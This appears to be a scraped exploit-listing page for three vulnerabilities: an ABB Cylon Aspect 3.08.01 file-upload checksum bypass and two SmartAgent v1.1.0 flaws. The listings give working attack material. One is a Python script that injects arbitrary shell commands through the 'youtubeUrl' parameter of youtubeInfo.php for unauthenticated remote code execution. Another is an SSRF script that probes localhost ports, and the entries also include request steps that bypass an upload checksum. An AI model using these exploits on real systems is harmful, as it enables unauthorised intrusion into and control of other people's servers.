░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░          ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░                                                                                                                                                              $ head caldavInstall.php caldavInstallAgendav.php==> caldavInstall.php <==<?php$badassMode = false;if (isset($_GET["EXPERTMODE"])) {    $badassMode = true;}?><html><head>==> caldavInstallAgendav.php <==<?php$badassMode = false;if (isset($_GET["EXPERTMODE"])) {    $badassMode = true;}?><html><head>1. GET /caldavInstall.php?EXPERTMODE (FE)2. GET /caldavInstallAgendav.php?EXPERTMODE (FE)3. POST /caldavUpload.php -d "skipChecksum=1" (BE)

ABB Cylon Aspect 3.08.01 File Upload MD5 Checksum Bypass

SmartAgent version 1.1.0 suffers from an unauthenticated remote code execution vulnerability in youtubeInfo.php.

    # Exploit Title: SmartAgent v1.1.0 - Unauthenticated Remote Code Execution# Date: 01-10-2024# Exploit Author: Alter Prime# Vendor Homepage: https://smarts-srlcom.com/, https://smartagent.com# Version: Build v1.1.0# Tested on: Kali LinuxAn unauthenticated user can access a php script called https://smarts-srlcom.com/youtubeInfo.php from the vulnerable web application and through a POST request with vulnerable parameter "youtubeUrl" a command injection vulnerability could be triggered.Vulnerable code snippet from youtubeInfo.php:"""$youtubeUrl=$_POST["youtubeUrl"];$command = 'youtube-dl -j ' . $youtubeUrl;echo  shell_exec($command);"""Steps To Reproduce:1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0#Python Exploitimport requestsurl = "https://smarts-srlcom.com?youtubeInfo.php"command = input("Enter the command you want to run $EX: id$: ")postdata = {    "youtubeUrl": ";" + command}response = requests.post(url, data=postdata, verify=False)print(response.text)

SmartAgent 1.1.0 Remote Code Execution

SmartAgent version 1.1.0 suffers from a server-side request forgery vulnerability.

    # Exploit Title: SmartAgent v1.1.0 - Server-Side Request Forgery (SSRF)# Date: 01-10-2024# Exploit Author: Alter Prime# Vendor Homepage: https://smarts-srlcom.com/, https://smartagent.com# Version: Build v1.1.0# Tested on: Kali LinuxAn unauthenticated user can trigger the web server to perform web requests to the localhost via a GET request to the vulnerable script  https://smarts-srlcom.com/FB/getFbVideoSource.php?url=http://127.0.0.1:80.The GET request includes the vulnerable parameter "url".Steps To Reproduce:1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0#Python Exploitimport requestsurl = "https://smartagent.[client].com/FB/getFbVideoSource.php"port = input("Enter the port you want to check: ")parameter = {  "url": "http://127.0.0.1:" + port}response = requests.get(url, data=parameter, verify=False)if response.status_code == 200:    print(f"Port {port} is open on the server")else:    print(f"Port {port} closed")

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